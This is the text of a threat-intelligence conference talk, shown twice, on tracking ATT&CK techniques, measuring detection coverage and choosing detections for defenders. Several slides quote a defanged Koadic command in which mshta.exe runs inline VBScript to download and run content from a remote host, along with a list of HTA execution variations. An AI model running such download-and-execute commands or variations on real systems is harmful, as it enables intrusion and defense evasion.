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From Theory to Practice:
How My ATT&CKⓇ
Perspectives Have Changed
Katie Nickels
ATT&CKcon Power Hour
December 11, 2020
Yes, this is being
recorded. Yes, the slides
will be shared. No, I don’t
know when. Soon.
§ Former MITRE ATT&CK Team Member (relevant)
§ SANS Certified Instructor for FOR578:
Cyber Threat Intelligence
§ Bringing context about threats to inform decisions
§ Maintaining sanity with exercise, chocolate,
containers, and holiday lightsKatie Nickels
DIRECTOR OF INTELLIGENCE
RED CANARY
@LiketheCoins
About Me
Different
perspectives
help you think
differently
1. Tracking tactics, techniques, and procedures
2. Defining detection coverage
3. Choosing what to detect
How I've thought differently about ATT&CK
Thinking through TTPs
Tracking TTPs the MITRE way
https://attack.mitre.org/techniques/T1218/005/
Tactic: Defense Evasion
Technique/Sub-technique: Signed Binary Proxy Execution: Mshta
Procedure: Koadic can use MSHTA to serve additional payloads.[13]
A Koadic detection at Red Canary
Procedure...
So what’s this?
Tactics
Techniques/Sub-techniques
Procedures
Observables
We want to track things beyond TTPs
Defense Evasion/Execution
T1218.005 Signed Binary Proxy Execution: Mshta
Koadic used VBScript to launch mshta.exe and make an
external network connection
C:Windowssystem32mshta.EXE
vbscript:CreateObject("WScript.Shell").
run("mshta hxxp[:]//8.8.8[.]8:123/12qwert",0)(window.close)
Example of tracking beyond TTPs
Primary Tactic: Execution
Additional Tactics
Techniques
Procedure ★
Observable
Koadic uses VBScript to launch mshta.exe and make an external network connection.
C:Windowssystem32mshta.EXE
vbscript:CreateObject("WScript.Shell").run("mshta
hxxp[:]//8.8.8[.]8:1234/1234656qwerty",0)(window.close)
Detectors
Name Targeted to this profile?
WIN-MSHTA-CLI-URL No
WIN-MSHTA-NON-HTA No
WIN-MSHTA-INLINE-VBSCRIPT No
TA0005 Defense Evasion
T1218.005 Signed Binary Proxy Execution: Mshta
T1059.005 Command and Scripting Interpreter: Visual Basic
What this format lets us do
§ Track detailed observables from endpoint telemetry
§ Identify where we have detection coverage (or not)
§ Use ATT&CK tactics, techniques, and sub-techniques
...but add on because it meets our needs
Defining detection coverage
Defining coverage by confidence
https://i.blackhat.com/USA-19/Wednesday/us-19-Nickels-MITRE-ATTACK-The-Play-At-Home-Edition.pdf
The challenge of unlimited procedures
“You should also remember that each ATT&CK technique may
have many procedures for how an adversary could implement
it — and because adversaries are always changing, we can’t
know what all those procedures are in advance.”
https://medium.com/mitre-attack/how-to-be-a-savvy-attack-consumer-63e45b8e94c9
Katie: “There are unlimited procedures!”
§ Matt: “But are there?”
o Think of techniques like MSHTA
o Commands only have so many flags
§ We may be able to be scope some technique variations
Defining detection
coverage by variations
Tactics
Techniques/Sub-techniques
Variations
Procedures
Observables
Tactics
Techniques/Sub-techniques
Adding in variations
Variations are specific options
made available to an attacker as
defined by the technical
components involved that
comprise a technique
(working definition)
Nine known variations for HTA
1. HTA can have any file name and extension
2. Specifying a URI from where HTA content is first downloaded
3. Use of scripting engines
4. Specifying protocol handlers (e.g., “vbscript”, “javascript”, “about”)
5. HTA content embedded and executed from within other file formats
6. HTA content can be executed remotely via UNC paths.
7. Remote HTA execution via COM interface (lateral movement)
8. HTA execution by double clicking or invoking with “explorer.exe foo.hta”
9. Full control over the path and filename of mshta.exe and rundll32.exe
https://redcanary.com/blog/threat-research-questions
Adding in variations
Defense Evasion/Execution
T1218.005 Signed Binary Proxy Execution: Mshta
Specifying protocol handler + direct download from URI
Koadic used VBScript to launch mshta.exe and make an
external network connection
C:Windowssystem32mshta.EXE
vbscript:CreateObject("WScript.Shell").
run("mshta hxxp[:]//8.8.8[.]8:123/12qwert",0)(window.close)
Mix and match the variations
Specifying
protocol handler
vbscript:
Direct download from URI
mshta hxxp[:]//8.8.8[.]8:123/
Specifying
protocol handler
jscript:
https://github.com/redcanaryco/AtomicTestHarnesses/tree/master/TestHarnesses/T1218.005_Mshta
Testing known variation combinations
T1218.005
Signed Binary Proxy
Execution:
Mshta
25 tested combinations 1 technique
More granular Less granular
Defining detection
coverage by threat
observables
Remember that profile breakdown?
Techniques
Observable
Koadic uses VBScript to launch mshta.exe and make an external network connection.
C:Windowssystem32mshta.EXE
vbscript:CreateObject("WScript.Shell").run("mshta
hxxp[:]//8.8.8[.]8:1234/1234656qwerty",0)(window.close)
Detectors
Name Targeted to this profile?
WIN-MSHTA-CLI-URL No
WIN-MSHTA-NON-HTA No
WIN-MSHTA-INLINE-VBSCRIPT No
T1218.005 Signed Binary Proxy Execution: Mshta
T1059.005 Command and Scripting Interpreter: Visual Basic
Mapping coverage based on threats
Koadic observable 1
Koadic observable 2
FIN7 observable 1
FIN7 observable 2
Kovter observable 1
Lazarus observable 1
6 threat observables for Mshta 1 technique
More granular Less granular
T1218.005
Signed Binary Proxy
Execution:
Mshta
So how should we
explain detection
coverage?
Explaining to leadership
This is okay!
Koadic observable 1
Koadic observable 2
FIN7 observable 1
FIN7 observable 2
Lazarus observable 1
Diving deeper
These are okay too!
HTA test harness results Mshta threat observables
Expressing coverage is just tough
§ Any way you express it will have limitations
§ There’s no “right” or “wrong” way to do it
...but there may be “better” ways for your needs
§ Figure out the requirement for what you’re doing
o What are you trying to convey and achieve?
o What’s your goal of expressing the coverage?
Choosing what to detect
§ Not everything is useful for detection
§ Choosing is most of the battle
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
Finding “good” detection opportunities
§ “Discovery techniques aren’t that useful for detection”
https://i.blackhat.com/USA-19/Wednesday/us-19-Nickels-MITRE-ATTACK-The-Play-At-Home-Edition.pdf
Discovery techniques
§ “...except when they are”
Domain Trust Discovery with nltest
§ “This should NEVER happen in an environment, let’s write a
detection analytic!” —Me in January 2020
§ “Here’s a hypothesis that will probably be noisy so here are five
ways to tune it when that happens.” —Me in December 2020
§ If an analytic is noisy…how can we tune it?
o Narrow it down? Use threat intelligence.
o Easily suppress on false positives?
Testing & tuning is most of the work
https://redcanary.com/blog/tuning-detectors/
In closing
Takeaways
§ Don’t limit yourself to just TTPs if you need to go further
§ Define detection coverage based on your requirements
§ Trial, error, and experience will help you choose what to detect
§ It’s a good thing to change your perspectives
§ Surrounding yourself with new people and new situations lets
you think differently and mature
Thank you!
Katie Nickels
@RedCanary
@LiketheCoins
https://redcanary.com/blog/

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From Theory to Practice: How My ATTACK Perspectives Have Changed

  • 1. From Theory to Practice: How My ATT&CKⓇ Perspectives Have Changed Katie Nickels ATT&CKcon Power Hour December 11, 2020
  • 2. Yes, this is being recorded. Yes, the slides will be shared. No, I don’t know when. Soon.
  • 3. § Former MITRE ATT&CK Team Member (relevant) § SANS Certified Instructor for FOR578: Cyber Threat Intelligence § Bringing context about threats to inform decisions § Maintaining sanity with exercise, chocolate, containers, and holiday lightsKatie Nickels DIRECTOR OF INTELLIGENCE RED CANARY @LiketheCoins About Me
  • 5. 1. Tracking tactics, techniques, and procedures 2. Defining detection coverage 3. Choosing what to detect How I've thought differently about ATT&CK
  • 7. Tracking TTPs the MITRE way https://attack.mitre.org/techniques/T1218/005/ Tactic: Defense Evasion Technique/Sub-technique: Signed Binary Proxy Execution: Mshta Procedure: Koadic can use MSHTA to serve additional payloads.[13]
  • 8. A Koadic detection at Red Canary Procedure... So what’s this?
  • 10. Defense Evasion/Execution T1218.005 Signed Binary Proxy Execution: Mshta Koadic used VBScript to launch mshta.exe and make an external network connection C:Windowssystem32mshta.EXE vbscript:CreateObject("WScript.Shell"). run("mshta hxxp[:]//8.8.8[.]8:123/12qwert",0)(window.close) Example of tracking beyond TTPs
  • 11. Primary Tactic: Execution Additional Tactics Techniques Procedure ★ Observable Koadic uses VBScript to launch mshta.exe and make an external network connection. C:Windowssystem32mshta.EXE vbscript:CreateObject("WScript.Shell").run("mshta hxxp[:]//8.8.8[.]8:1234/1234656qwerty",0)(window.close) Detectors Name Targeted to this profile? WIN-MSHTA-CLI-URL No WIN-MSHTA-NON-HTA No WIN-MSHTA-INLINE-VBSCRIPT No TA0005 Defense Evasion T1218.005 Signed Binary Proxy Execution: Mshta T1059.005 Command and Scripting Interpreter: Visual Basic
  • 12. What this format lets us do § Track detailed observables from endpoint telemetry § Identify where we have detection coverage (or not) § Use ATT&CK tactics, techniques, and sub-techniques ...but add on because it meets our needs
  • 14. Defining coverage by confidence https://i.blackhat.com/USA-19/Wednesday/us-19-Nickels-MITRE-ATTACK-The-Play-At-Home-Edition.pdf
  • 15. The challenge of unlimited procedures “You should also remember that each ATT&CK technique may have many procedures for how an adversary could implement it — and because adversaries are always changing, we can’t know what all those procedures are in advance.” https://medium.com/mitre-attack/how-to-be-a-savvy-attack-consumer-63e45b8e94c9
  • 16. Katie: “There are unlimited procedures!” § Matt: “But are there?” o Think of techniques like MSHTA o Commands only have so many flags § We may be able to be scope some technique variations
  • 18. Tactics Techniques/Sub-techniques Variations Procedures Observables Tactics Techniques/Sub-techniques Adding in variations Variations are specific options made available to an attacker as defined by the technical components involved that comprise a technique (working definition)
  • 19. Nine known variations for HTA 1. HTA can have any file name and extension 2. Specifying a URI from where HTA content is first downloaded 3. Use of scripting engines 4. Specifying protocol handlers (e.g., “vbscript”, “javascript”, “about”) 5. HTA content embedded and executed from within other file formats 6. HTA content can be executed remotely via UNC paths. 7. Remote HTA execution via COM interface (lateral movement) 8. HTA execution by double clicking or invoking with “explorer.exe foo.hta” 9. Full control over the path and filename of mshta.exe and rundll32.exe https://redcanary.com/blog/threat-research-questions
  • 20. Adding in variations Defense Evasion/Execution T1218.005 Signed Binary Proxy Execution: Mshta Specifying protocol handler + direct download from URI Koadic used VBScript to launch mshta.exe and make an external network connection C:Windowssystem32mshta.EXE vbscript:CreateObject("WScript.Shell"). run("mshta hxxp[:]//8.8.8[.]8:123/12qwert",0)(window.close)
  • 21. Mix and match the variations Specifying protocol handler vbscript: Direct download from URI mshta hxxp[:]//8.8.8[.]8:123/ Specifying protocol handler jscript: https://github.com/redcanaryco/AtomicTestHarnesses/tree/master/TestHarnesses/T1218.005_Mshta
  • 22. Testing known variation combinations T1218.005 Signed Binary Proxy Execution: Mshta 25 tested combinations 1 technique More granular Less granular
  • 23. Defining detection coverage by threat observables
  • 24. Remember that profile breakdown? Techniques Observable Koadic uses VBScript to launch mshta.exe and make an external network connection. C:Windowssystem32mshta.EXE vbscript:CreateObject("WScript.Shell").run("mshta hxxp[:]//8.8.8[.]8:1234/1234656qwerty",0)(window.close) Detectors Name Targeted to this profile? WIN-MSHTA-CLI-URL No WIN-MSHTA-NON-HTA No WIN-MSHTA-INLINE-VBSCRIPT No T1218.005 Signed Binary Proxy Execution: Mshta T1059.005 Command and Scripting Interpreter: Visual Basic
  • 25. Mapping coverage based on threats Koadic observable 1 Koadic observable 2 FIN7 observable 1 FIN7 observable 2 Kovter observable 1 Lazarus observable 1 6 threat observables for Mshta 1 technique More granular Less granular T1218.005 Signed Binary Proxy Execution: Mshta
  • 26. So how should we explain detection coverage?
  • 28. Koadic observable 1 Koadic observable 2 FIN7 observable 1 FIN7 observable 2 Lazarus observable 1 Diving deeper These are okay too! HTA test harness results Mshta threat observables
  • 29. Expressing coverage is just tough § Any way you express it will have limitations § There’s no “right” or “wrong” way to do it ...but there may be “better” ways for your needs § Figure out the requirement for what you’re doing o What are you trying to convey and achieve? o What’s your goal of expressing the coverage?
  • 31. § Not everything is useful for detection § Choosing is most of the battle https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ Finding “good” detection opportunities
  • 32. § “Discovery techniques aren’t that useful for detection” https://i.blackhat.com/USA-19/Wednesday/us-19-Nickels-MITRE-ATTACK-The-Play-At-Home-Edition.pdf Discovery techniques
  • 33. § “...except when they are” Domain Trust Discovery with nltest
  • 34. § “This should NEVER happen in an environment, let’s write a detection analytic!” —Me in January 2020 § “Here’s a hypothesis that will probably be noisy so here are five ways to tune it when that happens.” —Me in December 2020 § If an analytic is noisy…how can we tune it? o Narrow it down? Use threat intelligence. o Easily suppress on false positives? Testing & tuning is most of the work https://redcanary.com/blog/tuning-detectors/
  • 36. Takeaways § Don’t limit yourself to just TTPs if you need to go further § Define detection coverage based on your requirements § Trial, error, and experience will help you choose what to detect § It’s a good thing to change your perspectives § Surrounding yourself with new people and new situations lets you think differently and mature